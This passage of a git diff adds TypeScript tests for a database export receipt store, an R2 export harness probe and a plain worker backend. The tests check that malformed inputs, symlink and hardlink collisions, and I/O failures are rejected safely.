syncFailure; + } + await handle.sync(); + }, + }); + await expect( + writeReceipt(syncLossStore, value, syncOperation), + ).rejects.toBe(syncFailure); + await expect(readFile(syncTarget, 'utf8')).resolves.toBe(value); + + const replaySyncFailure = new Error('replay directory sync failed'); + const replayPaths = new WeakMap(); + const replaySyncedPaths: string[] = []; + const replaySyncStore = + createFileSystemDatabaseExportStoreWithReceiptPrimitives(root, { + open: trackedOpen(replayPaths), + sync: async (handle) => { + const path = replayPaths.get(handle); + if (path !== undefined) replaySyncedPaths.push(path); + if (path === receiptDirectory(root)) throw replaySyncFailure; + await handle.sync(); + }, + }); + await expect( + writeReceipt(replaySyncStore, value, syncOperation), + ).rejects.toThrow('database export receipt readback failed'); + expect(replaySyncedPaths).toEqual([ + root, + join(root, '.anchorage-receipts'), + join(root, '.anchorage-receipts', 'v1'), + receiptDirectory(root), + ]); + await expect(readFile(syncTarget, 'utf8')).resolves.toBe(value); + + const durablePaths = new WeakMap(); + const durableSyncedPaths: string[] = []; + const durableReplayStore = + createFileSystemDatabaseExportStoreWithReceiptPrimitives(root, { + open: trackedOpen(durablePaths), + sync: async (handle) => { + const path = durablePaths.get(handle); + if (path !== undefined) durableSyncedPaths.push(path); + await handle.sync(); + }, + }); + await expect( + writeReceipt(durableReplayStore, value, syncOperation), + ).resolves.toEqual({ + location: pathToFileURL(syncTarget).href, + ...integrity(value), + }); + expect(durableSyncedPaths).toEqual(replaySyncedPaths); + + const aggregateOperation = '72345678-1234-4234-9234-123456789abc'; + const aggregateStore = + createFileSystemDatabaseExportStoreWithReceiptPrimitives(root, { + link: async () => { + throw null; + }, + unlink: async (path) => { + if (String(path).includes('.receipt-')) throw undefined; + await unlink(path); + }, + }); + let aggregate: unknown; + try { + await writeReceipt(aggregateStore, value, aggregateOperation); + } catch (error) { + aggregate = error; + } + expect(aggregate).toBeInstanceOf(AggregateError); + expect(aggregate).toMatchObject({ + message: 'database export receipt and temporary-file cleanup failed', + errors: [null, undefined], + }); + await expect( + lstat(receiptTarget(root, aggregateOperation)), + ).rejects.toMatchObject({ code: 'ENOENT' }); + }); + + it('refuses malformed receipt identity or integrity before publication', async () => { + const root = await temporaryDirectory(); + const unsupported = + createFileSystemDatabaseExportStoreWithReceiptPrimitives(root, { + platform: 'win32', + }); + expect(Object.hasOwn(unsupported, 'receiptAuthority')).toBe(false); + expect(Object.hasOwn(unsupported, 'writeReceipt')).toBe(false); + expect('receiptAuthority' in unsupported).toBe(false); + expect('writeReceipt' in unsupported).toBe(false); + const missingFlag = + createFileSystemDatabaseExportStoreWithReceiptPrimitives(root, { + flags: { O_NOFOLLOW: undefined }, + }); + expect(Object.hasOwn(missingFlag, 'receiptAuthority')).toBe(false); + expect(Object.hasOwn(missingFlag, 'writeReceipt')).toBe(false); + expect( + () => new FileSystemDatabaseExportStore(`/${'a'.repeat(4_097)}`), + ).toThrow('database export receipt capability is malformed'); + + const openCalls: string[] = []; + const inspectingStore = + createFileSystemDatabaseExportStoreWithReceiptPrimitives(root, { + open: (async ( + path: PathLike, + flags: string | number, + mode?: string | number, + ) => { + openCalls.push(String(path)); + return open(path, flags, mode); + }) as typeof open, + }); + const valid = receiptIdentity(inspectingStore); + const accessorIdentity = { ...valid }; + Object.defineProperty(accessorIdentity, 'databaseId', { + enumerable: true, + get() { + throw new Error('identity getter must not escape'); + }, + }); + const symbolIdentity = { ...valid } as Record; + symbolIdentity[Symbol('extra')] = true; + const revoked = Proxy.revocable({ ...valid }, {}); + revoked.revoke(); + const malformedIdentities: unknown[] = [ + null, + { ...valid, version: 2 }, + { ...valid, databaseId: DATABASE_ID.toUpperCase() }, + { ...valid, operationId: OPERATION_ID.toUpperCase() }, + { ...valid, operationId: DATABASE_ID }, + { ...valid, extra: true }, + { + version: 1, + authority: valid.authority, + databaseId: DATABASE_ID, + }, + accessorIdentity, + symbolIdentity, + new Proxy({ ...valid }, {}), + new Proxy( + { ...valid }, + { + ownKeys() { + throw new Error('identity proxy trap must not escape'); + }, + }, + ), + revoked.proxy, + ]; + const writer = inspectingStore.writeReceipt; + if (writer === undefined) throw new Error('receipt writer unavailable'); + for (const malformed of malformedIdentities) { + const cancellations: unknown[] = []; + const hostileCancelBody = { + cancel(reason: unknown) { + cancellations.push(reason); + if (cancellations.length % 2 === 0) { + return Promise.reject(new Error('cancel rejection')); + } + throw new Error('cancel throw'); + }, + } as unknown as ReadableStream; + let refusal: unknown; + try { + await writer({ + identity: malformed as DatabaseExportReceiptIdentity, + body: hostileCancelBody, + expectedIntegrity: Promise.resolve(integrity('valid')), + }); + } catch (error) { + refusal = error; + } + expect(refusal).toMatchObject({ + message: 'database export receipt identity is malformed', + }); + expect(isDatabaseExportReceiptError(refusal)).toBe(true); + expect(refusal).not.toHaveProperty('cause'); + expect(cancellations).toHaveLength(1); + } + expect(openCalls).toEqual([]); + + const authorityBodyCancellations: unknown[] = []; + const authorityBody = { + cancel(reason: unknown) { + authorityBodyCancellations.push(reason); + return Promise.reject(new Error('ignored cancellation rejection')); + }, + } as unknown as ReadableStream; + let authorityRefusal: unknown; + try { + await writer({ + identity: { ...valid, authority: `${valid.authority}/different` }, + body: authorityBody, + expectedIntegrity: Promise.resolve(integrity('valid')), + }); + } catch (error) { + authorityRefusal = error; + } + expect(authorityRefusal).toMatchObject({ + message: + 'database export receipt authority differs from configured authority', + }); + expect(isDatabaseExportReceiptError(authorityRefusal)).toBe(true); + expect(authorityRefusal).not.toHaveProperty('cause'); + expect(authorityBodyCancellations).toHaveLength(1); + expect(openCalls).toEqual([]); + + const digest = integrity('native promise'); + const escapedAuthority = '\0'.repeat(4_096); + expect(databaseExportReceiptAuthorityFromUnknown(escapedAuthority)).toBe( + escapedAuthority, + ); + expect( + databaseExportReceiptIdentityFromUnknown( + { ...valid, authority: escapedAuthority }, + escapedAuthority, + ), + ).toEqual({ ...valid, authority: escapedAuthority }); + expect(() => + databaseExportReceiptAuthorityFromUnknown(`${escapedAuthority}\0`), + ).toThrow('database export receipt capability is malformed'); + expect( + databaseExportIntegrityFromUnknown({ + size: Number.MAX_SAFE_INTEGER, + sha256: digest.sha256, + }), + ).toEqual({ size: Number.MAX_SAFE_INTEGER, sha256: digest.sha256 }); + for (const malformed of [ + { size: 0, sha256: digest.sha256 }, + { size: Number.MAX_SAFE_INTEGER + 1, sha256: digest.sha256 }, + { size: 1, sha256: digest.sha256.toUpperCase() }, + { size: 1, sha256: digest.sha256, extra: true }, + { size: 1 }, + Object.defineProperty({ sha256: digest.sha256 }, 'size', { + enumerable: true, + get() { + throw new Error('integrity getter must not escape'); + }, + }), + new Proxy( + { size: 1, sha256: digest.sha256 }, + { + getPrototypeOf() { + throw new Error('integrity proxy trap must not escape'); + }, + }, + ), + new Proxy({ size: 1, sha256: digest.sha256 }, {}), + ]) { + let refusal: unknown; + try { + databaseExportIntegrityFromUnknown(malformed); + } catch (error) { + refusal = error; + } + expect(refusal).toMatchObject({ + message: 'database export receipt integrity is malformed', + }); + expect(isDatabaseExportReceiptError(refusal)).toBe(true); + expect(refusal).not.toHaveProperty('cause'); + } + + const promiseMethodTrap = vi.fn(() => { + throw new Error('caller-owned then must not run'); + }); + const nativeSubclass = new (class< + T, + > extends Promise {})((resolvePromise) => + resolvePromise(integrity('subclass')), + ); + Object.defineProperty(nativeSubclass, 'then', { + configurable: true, + value: promiseMethodTrap, + }); + await expect( + writer({ + identity: { ...valid, operationId: SECOND_OPERATION_ID }, + body: body('subclass'), + contentLength: integrity('subclass').size, + expectedIntegrity: nativeSubclass, + }), + ).resolves.toMatchObject(integrity('subclass')); + expect(promiseMethodTrap).not.toHaveBeenCalled(); + + const crossRealmPromise = runInNewContext( + '(value) => Promise.resolve(value)', + ) as (value: DatabaseExportIntegrity) => Promise; + const crossRealm = crossRealmPromise(integrity('realm')); + await expect( + writer({ + identity: { ...valid, operationId: THIRD_OPERATION_ID }, + body: body('realm'), + contentLength: integrity('realm').size, + expectedIntegrity: crossRealm, + }), + ).resolves.toMatchObject(integrity('realm')); + + const malformedPromises: readonly Readonly<{ + value: unknown; + synchronous: boolean; + }>[] = [ + { + value: Promise.reject(new Error('expected integrity rejected')), + synchronous: false, + }, + { + value: new Proxy(Promise.resolve(digest), {}), + synchronous: true, + }, + { + // biome-ignore lint/suspicious/noThenProperty: deliberately hostile thenable input + value: { then: () => undefined }, + synchronous: true, + }, + { + value: Promise.resolve({ + size: 1, + sha256: digest.sha256, + extra: true, + }), + synchronous: false, + }, + { + value: Promise.resolve( + new Proxy({ size: 1, sha256: digest.sha256 }, {}), + ), + synchronous: false, + }, + { + value: Promise.resolve( + Object.defineProperty({ sha256: digest.sha256 }, 'size', { + enumerable: true, + get() { + throw new Error('resolved getter must not escape'); + }, + }), + ), + synchronous: false, + }, + ]; + for (const malformedPromise of malformedPromises) { + let cancellations = 0; + const cancellable = { + locked: false, + getReader() { + throw new Error('synchronous integrity refusal must not read'); + }, + cancel() { + cancellations += 1; + return Promise.reject(new Error('ignored cancel rejection')); + }, + } as unknown as ReadableStream; + let refusal: unknown; + try { + await writer({ + identity: { ...valid, operationId: OPERATION_ID }, + body: malformedPromise.synchronous ? cancellable : body('invalid'), + expectedIntegrity: + malformedPromise.value as Promise, + }); + } catch (error) { + refusal = error; + } + expect(refusal).toMatchObject({ + message: 'database export receipt integrity is malformed', + }); + expect(isDatabaseExportReceiptError(refusal)).toBe(true); + expect(refusal).not.toHaveProperty('cause'); + expect(cancellations).toBe(malformedPromise.synchronous ? 1 : 0); + } + + const validForDirectParser = databaseExportReceiptIdentityFromUnknown( + { ...valid }, + valid.authority, + ); + expect(Object.keys(validForDirectParser)).toEqual([ + 'version', + 'authority', + 'databaseId', + 'operationId', + ]); + expect(Object.isFrozen(validForDirectParser)).toBe(true); + + const emptyOperation = '42345678-1234-4234-9234-123456789abc'; + await expect( + writer({ + identity: { ...valid, operationId: emptyOperation }, + body: body(), + expectedIntegrity: Promise.resolve(integrity('nonempty')), + }), + ).rejects.toThrow('database export receipt refuses an empty body'); + expect(await readdir(receiptDirectory(root))).not.toContain( + `${emptyOperation}.sql`, + ); + + const shortOperation = '52345678-1234-4234-9234-123456789abc'; + await expect( + writer({ + identity: { ...valid, operationId: shortOperation }, + body: body('short'), + contentLength: 6, + expectedIntegrity: Promise.resolve(integrity('short')), + }), + ).rejects.toThrow( + 'database export receipt source integrity differs from the streamed export', + ); + const mismatchOperation = '62345678-1234-4234-9234-123456789abc'; + await expect( + writer({ + identity: { ...valid, operationId: mismatchOperation }, + body: body('actual'), + expectedIntegrity: Promise.resolve(integrity('wanted')), + }), + ).rejects.toThrow( + 'database export receipt source integrity differs from the streamed export', + ); + + const streamFailure = new Error('receipt source failed'); + const failingStream = new ReadableStream({ + start(controller) { + controller.enqueue(encoder.encode('partial')); + }, + pull() { + throw streamFailure; + }, + }); + await expect( + writer({ + identity: { + ...valid, + operationId: '72345678-1234-4234-9234-123456789abc', + }, + body: failingStream, + expectedIntegrity: Promise.resolve(integrity('partial')), + }), + ).rejects.toBe(streamFailure); + expect( + (await readdir(receiptDirectory(root))).some((name) => + name.startsWith('.receipt-'), + ), + ).toBe(false); + + const missingRoot = join(root, 'missing-root'); + const missingRootStore = new FileSystemDatabaseExportStore(missingRoot); + let missingCancellation = 0; + const missingBody = new ReadableStream({ + cancel() { + missingCancellation += 1; + }, + }); + await expect( + missingRootStore.writeReceipt?.({ + identity: receiptIdentity(missingRootStore), + body: missingBody, + expectedIntegrity: Promise.resolve(integrity('missing')), + }), + ).rejects.toThrow(); + expect(missingCancellation).toBe(1); + await expect(lstat(missingRoot)).rejects.toMatchObject({ code: 'ENOENT' }); + + const trustedRoot = join(root, 'trusted-root'); + const linkedRoot = join(root, 'linked-root'); + await mkdir(trustedRoot, { mode: 0o700 }); + await symlink(trustedRoot, linkedRoot); + const linkedRootStore = new FileSystemDatabaseExportStore(linkedRoot); + await expect(writeReceipt(linkedRootStore, 'symlink root')).rejects.toThrow( + 'database export receipt root must be an existing trusted directory', + ); + + const unsafeRoot = join(root, 'unsafe-root'); + await mkdir(join(unsafeRoot, '.anchorage-receipts'), { + mode: 0o755, + recursive: true, + }); + await chmod(join(unsafeRoot, '.anchorage-receipts'), 0o755); + const unsafeStore = new FileSystemDatabaseExportStore(unsafeRoot); + await expect(writeReceipt(unsafeStore, 'unsafe mode')).rejects.toThrow( + 'database export receipt directory must be a mode-0700 directory', + ); + expect( + (await stat(join(unsafeRoot, '.anchorage-receipts'))).mode & 0o777, + ).toBe(0o755); + }); + + it('preserves nonregular and unreadable receipt collisions', async () => { + const root = await temporaryDirectory(); + const store = new FileSystemDatabaseExportStore(root); + await writeReceipt(store, 'directory bootstrap'); + const directory = receiptDirectory(root); + const collisionMessage = + 'database export receipt collision differs from the committed export'; + + const directoryOperation = SECOND_OPERATION_ID; + const directoryTarget = receiptTarget(root, directoryOperation); + await mkdir(directoryTarget, { mode: 0o700 }); + await expect( + writeReceipt(store, 'directory collision', directoryOperation), + ).rejects.toThrow(collisionMessage); + expect((await lstat(directoryTarget)).isDirectory()).toBe(true); + + const symlinkOperation = THIRD_OPERATION_ID; + const symlinkTarget = receiptTarget(root, symlinkOperation); + const outside = join(root, 'outside-receipt.sql'); + await writeFile(outside, 'outside bytes'); + await symlink(outside, symlinkTarget); + await expect( + writeReceipt(store, 'symlink collision', symlinkOperation), + ).rejects.toThrow(collisionMessage); + expect((await lstat(symlinkTarget)).isSymbolicLink()).toBe(true); + await expect(readFile(outside, 'utf8')).resolves.toBe('outside bytes'); + + const wrongModeOperation = '42345678-1234-4234-9234-123456789abc'; + const wrongModeTarget = receiptTarget(root, wrongModeOperation); + await writeFile(wrongModeTarget, 'wrong mode', { mode: 0o644 }); + await chmod(wrongModeTarget, 0o644); + await expect( + writeReceipt(store, 'wrong mode', wrongModeOperation), + ).rejects.toThrow(collisionMessage); + expect((await stat(wrongModeTarget)).mode & 0o777).toBe(0o644); + + const hardlinkOperation = '52345678-1234-4234-9234-123456789abc'; + const hardlinkSource = join(root, 'unrelated-hardlink-source.sql'); + const hardlinkTarget = receiptTarget(root, hardlinkOperation); + await writeFile(hardlinkSource, 'hardlink collision', { mode: 0o600 }); + await chmod(hardlinkSource, 0o600); + await link(hardlinkSource, hardlinkTarget); + await expect( + writeReceipt(store, 'hardlink collision', hardlinkOperation), + ).rejects.toThrow(collisionMessage); + expect((await stat(hardlinkSource)).nlink).toBe(2); + expect((await stat(hardlinkTarget)).nlink).toBe(2); + + const fifoOperation = '62345678-1234-4234-9234-123456789abc'; + const fifoTarget = receiptTarget(root, fifoOperation); + await execFileAsync('mkfifo', [fifoTarget]); + let timeout: ReturnType | undefined; + const fifoDeadline = new Promise((_, reject) => { + timeout = setTimeout( + () => reject(new Error('FIFO receipt inspection blocked')), + 1_000, + ); + }); + try { + await expect( + Promise.race([ + writeReceipt(store, 'fifo collision', fifoOperation), + fifoDeadline, + ]), + ).rejects.toThrow(collisionMessage); + } finally { + clearTimeout(timeout); + } + expect((await lstat(fifoTarget)).isFIFO()).toBe(true); + + const socketOperation = '72345678-1234-4234-9234-123456789abc'; + const socketTarget = receiptTarget(root, socketOperation); + const socketPath = join(root, 'receipt.sock'); + await writeFile(socketTarget, 'preserved socket stand-in', { mode: 0o600 }); + const server = createServer(); + await new Promise((resolvePromise, rejectPromise) => { + server.once('error', rejectPromise); + server.listen(socketPath, resolvePromise); + }); + try { + const socketStore = + createFileSystemDatabaseExportStoreWithReceiptPrimitives(root, { + open: (async ( + path: PathLike, + flags: string | number, + mode?: string | number, + ) => { + if (String(path) === socketTarget) { + return open(socketPath, flags, mode); + } + return open(path, flags, mode); + }) as typeof open, + }); + await expect( + writeReceipt(socketStore, 'socket collision', socketOperation), + ).rejects.toThrow(collisionMessage); + expect((await lstat(socketPath)).isSocket()).toBe(true); + await expect(readFile(socketTarget, 'utf8')).resolves.toBe( + 'preserved socket stand-in', + ); + } finally { + await new Promise((resolvePromise, rejectPromise) => { + server.close((error) => { + if (error) rejectPromise(error); + else resolvePromise(); + }); + }); + } + + const deviceOperation = '82345678-1234-4234-9234-123456789abc'; + const deviceTarget = receiptTarget(root, deviceOperation); + await writeFile(deviceTarget, 'preserved device stand-in', { mode: 0o600 }); + const deviceStore = + createFileSystemDatabaseExportStoreWithReceiptPrimitives(root, { + open: (async ( + path: PathLike, + flags: string | number, + mode?: string | number, + ) => { + if (String(path) === deviceTarget) { + return open('/dev/null', flags, mode); + } + return open(path, flags, mode); + }) as typeof open, + }); + await expect( + writeReceipt(deviceStore, 'device collision', deviceOperation), + ).rejects.toThrow(collisionMessage); + await expect(readFile(deviceTarget, 'utf8')).resolves.toBe( + 'preserved device stand-in', + ); + + const unreadableOperation = '92345678-1234-4234-9234-123456789abc'; + const unreadableTarget = receiptTarget(root, unreadableOperation); + await writeFile(unreadableTarget, 'unreadable collision', { mode: 0o600 }); + const unreadableStore = + createFileSystemDatabaseExportStoreWithReceiptPrimitives(root, { + open: (async ( + path: PathLike, + flags: string | number, + mode?: string | number, + ) => { + if (String(path) === unreadableTarget) { + throw Object.assign(new Error('permission denied'), { + code: 'EACCES', + }); + } + return open(path, flags, mode); + }) as typeof open, + }); + await expect( + writeReceipt( + unreadableStore, + 'unreadable collision', + unreadableOperation, + ), + ).rejects.toThrow(collisionMessage); + await expect(readFile(unreadableTarget, 'utf8')).resolves.toBe( + 'unreadable collision', + ); + + const readFailureOperation = 'a2345678-1234-4234-9234-123456789abc'; + const readFailureTarget = receiptTarget(root, readFailureOperation); + await writeFile(readFailureTarget, 'read failure collision', { + mode: 0o600, + }); + await chmod(readFailureTarget, 0o600); + const readFailure = Object.assign(new Error('read failed'), { + cause: new Error('foreign cause'), + }); + const readFailureStore = + createFileSystemDatabaseExportStoreWithReceiptPrimitives(root, { + read: async () => { + throw readFailure; + }, + }); + let readRefusal: unknown; + try { + await writeReceipt( + readFailureStore, + 'read failure collision', + readFailureOperation, + ); + } catch (error) { + readRefusal = error; + } + expect(readRefusal).toMatchObject({ + message: 'database export receipt readback failed', + }); + expect(isDatabaseExportReceiptError(readRefusal)).toBe(true); + expect(readRefusal).not.toHaveProperty('cause'); + await expect(readFile(readFailureTarget, 'utf8')).resolves.toBe( + 'read failure collision', + ); + + const disappearingOperation = 'b2345678-1234-4234-9234-123456789abc'; + const disappearingTarget = receiptTarget(root, disappearingOperation); + const disappearingAlias = join( + directory, + '.receipt-c2345678-1234-4234-9234-123456789abc.tmp', + ); + await writeFile(disappearingTarget, 'disappearing alias', { mode: 0o600 }); + await chmod(disappearingTarget, 0o600); + await link(disappearingTarget, disappearingAlias); + let aliasDisappeared = false; + const disappearingStore = + createFileSystemDatabaseExportStoreWithReceiptPrimitives(root, { + open: (async ( + path: PathLike, + flags: string | number, + mode?: string | number, + ) => { + if (String(path) === disappearingAlias && !aliasDisappeared) { + aliasDisappeared = true; + await unlink(disappearingAlias); + throw Object.assign(new Error('alias disappeared'), { + code: 'ENOENT', + }); + } + return open(path, flags, mode); + }) as typeof open, + }); + await expect( + writeReceipt( + disappearingStore, + 'disappearing alias', + disappearingOperation, + ), + ).resolves.toEqual({ + location: pathToFileURL(disappearingTarget).href, + ...integrity('disappearing alias'), + }); + await expect(readFile(disappearingTarget, 'utf8')).resolves.toBe( + 'disappearing alias', + ); + expect((await stat(disappearingTarget)).nlink).toBe(1); + + const unsafeSizeOperation = 'd2345678-1234-4234-9234-123456789abc'; + const unsafeSizeTarget = receiptTarget(root, unsafeSizeOperation); + await writeFile(unsafeSizeTarget, 'unsafe size', { mode: 0o600 }); + await chmod(unsafeSizeTarget, 0o600); + const paths = new WeakMap(); + const unsafeSizeStore = + createFileSystemDatabaseExportStoreWithReceiptPrimitives(root, { + open: trackedOpen(paths), + stat: async (handle) => { + const actual = await handle.stat({ bigint: true }); + if (paths.get(handle) === unsafeSizeTarget) { + return withBigIntIdentity( + actual, + actual.dev, + actual.ino, + BigInt(Number.MAX_SAFE_INTEGER) + 1n, + ); + } + return actual; + }, + }); + await expect( + writeReceipt(unsafeSizeStore, 'unsafe size', unsafeSizeOperation), + ).rejects.toThrow(collisionMessage); + await expect(readFile(unsafeSizeTarget, 'utf8')).resolves.toBe( + 'unsafe size', + ); + }); }); diff --git a/packages/fleet-control/test/fixtures/r2-export-harness-probe.ts b/packages/fleet-control/test/fixtures/r2-export-harness-probe.ts index 0e9049a8..c973c3ba 100644 --- a/packages/fleet-control/test/fixtures/r2-export-harness-probe.ts +++ b/packages/fleet-control/test/fixtures/r2-export-harness-probe.ts @@ -7,6 +7,9 @@ interface Env { readonly EXPORTS: R2Bucket; } +const RECEIPT_DATABASE_ID = '11111111-1111-1111-1111-111111111111'; +const RECEIPT_OPERATION_ID = '22222222-2222-4222-8222-222222222222'; + function sequence(length: number, seed: number): Uint8Array { return Uint8Array.from({ length }, (_, index) => (index * 31 + seed) % 256); } @@ -57,6 +60,25 @@ function store(env: Env, uuid?: string): R2DatabaseExportStore { }); } +async function integrityOf(value: Uint8Array) { + const digest = new crypto.DigestStream('SHA-256'); + await bodyFrom(value).pipeTo(digest); + return { size: value.byteLength, sha256: toHex(await digest.digest) }; +} + +function receiptIdentity(exportStore: R2DatabaseExportStore) { + return { + version: 1 as const, + authority: exportStore.receiptAuthority, + databaseId: RECEIPT_DATABASE_ID, + operationId: RECEIPT_OPERATION_ID, + }; +} + +function receiptKey(operationId = RECEIPT_OPERATION_ID): string { + return `exports/receipts/v1/${RECEIPT_DATABASE_ID}/${operationId}.sql`; +} + async function success(env: Env) { const source = sequence(1_048_576, 17); const result = await store(env).write({ @@ -215,6 +237,124 @@ async function collision(env: Env) { }; } +async function receiptReplay(env: Env) { + const source = sequence(16_384, 71); + const exportStore = store(env); + const identity = receiptIdentity(exportStore); + const first = await exportStore.writeReceipt({ + identity, + body: bodyFrom(source), + contentLength: source.byteLength, + expectedIntegrity: integrityOf(source), + }); + const replay = await exportStore.writeReceipt({ + identity, + body: bodyFrom(source), + contentLength: source.byteLength, + expectedIntegrity: integrityOf(source), + }); + const key = receiptKey(); + const listed = await env.EXPORTS.list({ + prefix: `exports/receipts/v1/${RECEIPT_DATABASE_ID}/`, + }); + const object = await env.EXPORTS.get(key); + if (object === null) throw new Error('receipt replay object missing'); + const stored = await object.bytes(); + const customMetadata = object.customMetadata; + await env.EXPORTS.delete(key); + return { + sameResult: + first.location === replay.location && + first.size === replay.size && + first.sha256 === replay.sha256, + location: first.location, + objectCount: listed.objects.length, + bytesEqual: equalBytes(stored, source), + customMetadata, + cleaned: (await env.EXPORTS.get(key)) === null, + }; +} + +async function receiptConcurrent(env: Env) { + const source = sequence(12_288, 83); + const operationId = '33333333-3333-4333-8333-333333333333'; + const exportStore = store(env); + const identity = { ...receiptIdentity(exportStore), operationId }; + const [first, second] = await Promise.all([ + exportStore.writeReceipt({ + identity, + body: bodyFrom(source), + contentLength: source.byteLength, + expectedIntegrity: integrityOf(source), + }), + exportStore.writeReceipt({ + identity, + body: bodyFrom(source), + contentLength: source.byteLength, + expectedIntegrity: integrityOf(source), + }), + ]); + const key = receiptKey(operationId); + const listed = await env.EXPORTS.list({ + prefix: `exports/receipts/v1/${RECEIPT_DATABASE_ID}/`, + }); + const object = await env.EXPORTS.get(key); + if (object === null) throw new Error('concurrent receipt object missing'); + const stored = await object.bytes(); + await env.EXPORTS.delete(key); + return { + sameResult: + first.location === second.location && + first.size === second.size && + first.sha256 === second.sha256, + location: first.location, + objectCount: listed.objects.length, + bytesEqual: equalBytes(stored, source), + cleaned: (await env.EXPORTS.get(key)) === null, + }; +} + +async function receiptMismatch(env: Env) { + const winner = sequence(8192, 97); + const challenger = sequence(8192, 101); + const operationId = '44444444-4444-4444-8444-444444444444'; + const exportStore = store(env); + const identity = { ...receiptIdentity(exportStore), operationId }; + const committed = await exportStore.writeReceipt({ + identity, + body: bodyFrom(winner), + contentLength: winner.byteLength, + expectedIntegrity: integrityOf(winner), + }); + const state = await Promise.allSettled([ + exportStore.writeReceipt({ + identity, + body: bodyFrom(challenger), + contentLength: challenger.byteLength, + expectedIntegrity: integrityOf(challenger), + }), + ]); + if (state[0].status === 'fulfilled') { + throw new Error('mismatched receipt replay succeeded'); + } + const key = receiptKey(operationId); + const listed = await env.EXPORTS.list({ + prefix: `exports/receipts/v1/${RECEIPT_DATABASE_ID}/`, + }); + const object = await env.EXPORTS.get(key); + if (object === null) throw new Error('mismatched receipt winner missing'); + const stored = await object.bytes(); + await env.EXPORTS.delete(key); + return { + location: committed.location, + message: messageOf(state[0].reason), + objectCount: listed.objects.length, + winnerPreserved: equalBytes(stored, winner), + challengerRejected: !equalBytes(stored, challenger), + cleaned: (await env.EXPORTS.get(key)) === null, + }; +} + async function dispatch(action: string, env: Env): Promise { switch (action) { case 'success': @@ -227,6 +367,12 @@ async function dispatch(action: string, env: Env): Promise { return Response.json(await midTransferError(env)); case 'collision': return Response.json(await collision(env)); + case 'receipt-replay': + return Response.json(await receiptReplay(env)); + case 'receipt-concurrent': + return Response.json(await receiptConcurrent(env)); + case 'receipt-mismatch': + return Response.json(await receiptMismatch(env)); default: return Response.json({ error: 'unknown action' }, { status: 400 }); } diff --git a/packages/fleet-control/test/plain-worker-backend.test.ts b/packages/fleet-control/test/plain-worker-backend.test.ts index c6a5ccbb..d2d7688b 100644 --- a/packages/fleet-control/test/plain-worker-backend.test.ts +++ b/packages/fleet-control/test/plain-worker-backend.test.ts @@ -7,11 +7,13 @@ import { PlainWorkerBackend } from '../src/plain-worker-backend.js'; import { deploymentSpecDigest } from '../src/spec-digest.js'; import type { ApplicationR2Binding, + DatabaseExportReceiptIdentity, DatabaseReference, DecommissionAttachmentScanInput, DecommissionAttachmentScanResult, DeploymentSecrets, DeploymentSpec, + ExternalMutationFence, FleetRecord, PlainWorkerProvisioningApi, PlainWorkerUploadIntent, @@ -28,6 +30,14 @@ import { PlainWorkerProvisioningApiFake, } from './fixtures/plain-worker-provisioning-api-fake.js'; +const RECEIPT_AUTHORITY = 'memory://fleet-exports/receipts/v1'; +const RECEIPT_IDENTITY: DatabaseExportReceiptIdentity = { + version: 1, + authority: RECEIPT_AUTHORITY, + databaseId: '00000000-0000-0000-0000-000000000001', + operationId: '00000000-0000-4000-8000-000000000002', +}; + // The legacy Wrangler suite remains the compatibility proof. The core-policy // cases here prove that the core runs without a CLI adapter and seed the // direct-API conformance fixture; they do not duplicate adapter behavior. @@ -205,6 +215,136 @@ describe('WranglerLoopBackend construction', () => { }); describe('PlainWorkerBackend core policy', () => { + it('exposes and forwards receipt export only for a capable plain API', async () => { + const absentApi = new PlainWorkerProvisioningApiFake(); + const absent = backend(absentApi); + expect('databaseExportReceiptAuthority' in absent).toBe(false); + expect('exportDatabaseReceipt' in absent).toBe(false); + + const capableApi = new PlainWorkerProvisioningApiFake(); + const legacy = vi + .spyOn(capableApi, 'exportDatabase') + .mockRejectedValue(new Error('legacy export must not run')); + let authorityReads = 0; + let methodReads = 0; + let receiver: unknown; + let received: DatabaseExportReceiptIdentity | undefined; + Object.defineProperties(capableApi, { + databaseExportReceiptAuthority: { + configurable: true, + get() { + authorityReads += 1; + return RECEIPT_AUTHORITY; + }, + }, + exportDatabaseReceipt: { + configurable: true, + get() { + methodReads += 1; + return async function ( + this: unknown, + identity: DatabaseExportReceiptIdentity, + receiptFence: ExternalMutationFence, + ) { + receiver = this; + received = identity; + await receiptFence.assertOwned(); + return { + location: 'memory://receipt', + size: 4, + sha256: 'a'.repeat(64), + }; + }; + }, + }, + }); + const capable = backend(capableApi); + expect(capable.databaseExportReceiptAuthority).toBe(RECEIPT_AUTHORITY); + expect([authorityReads, methodReads]).toEqual([1, 1]); + const exportReceipt = capable.exportDatabaseReceipt; + if (!exportReceipt) throw new Error('expected receipt export capability'); + const assertOwned = vi.fn(async () => {}); + const receiptFence: ExternalMutationFence = { + mutationLeaseTtlMs: 15 * 60_000, + assertOwned, + }; + await expect( + exportReceipt(RECEIPT_IDENTITY, receiptFence), + ).resolves.toEqual({ + databaseId: RECEIPT_IDENTITY.databaseId, + location: 'memory://receipt', + size: 4, + sha256: 'a'.repeat(64), + }); + expect(receiver).toBe(capableApi); + expect(received).toEqual(RECEIPT_IDENTITY); + expect(assertOwned).toHaveBeenCalledTimes(1); + expect(legacy).not.toHaveBeenCalled(); + + received = undefined; + assertOwned.mockClear(); + const authorityFailure = await exportReceipt( + { ...RECEIPT_IDENTITY, authority: 'memory://other/receipts/v1' }, + receiptFence, + ).catch((error: unknown) => error); + expect(authorityFailure).toBeInstanceOf(Error); + expect((authorityFailure as Error).message).toBe( + 'database export receipt authority differs from configured authority', + ); + expect((authorityFailure as Error).cause).toBeUndefined(); + expect(received).toBeUndefined(); + expect(assertOwned).not.toHaveBeenCalled(); + + const incomplete = new PlainWorkerProvisioningApiFake(); + Object.defineProperty(incomplete, 'databaseExportReceiptAuthority', { + configurable: true, + value: RECEIPT_AUTHORITY, + }); + const failure = (() => { + try { + return backend(incomplete); + } catch (error) { + return error; + } + })(); + expect(failure).toBeInstanceOf(Error); + expect((failure as Error).message).toBe( + 'database export receipt capability is malformed', + ); + expect((failure as Error).cause).toBeUndefined(); + + for (const property of [ + 'databaseExportReceiptAuthority', + 'exportDatabaseReceipt', + ] as const) { + const throwingApi = new PlainWorkerProvisioningApiFake(); + if (property === 'exportDatabaseReceipt') { + Object.defineProperty(throwingApi, 'databaseExportReceiptAuthority', { + configurable: true, + value: RECEIPT_AUTHORITY, + }); + } + Object.defineProperty(throwingApi, property, { + configurable: true, + get() { + throw new Error(`${property} getter must not escape`); + }, + }); + const getterFailure = (() => { + try { + return backend(throwingApi); + } catch (error) { + return error; + } + })(); + expect(getterFailure).toBeInstanceOf(Error); + expect((getterFailure as Error).message).toBe( + 'database export receipt 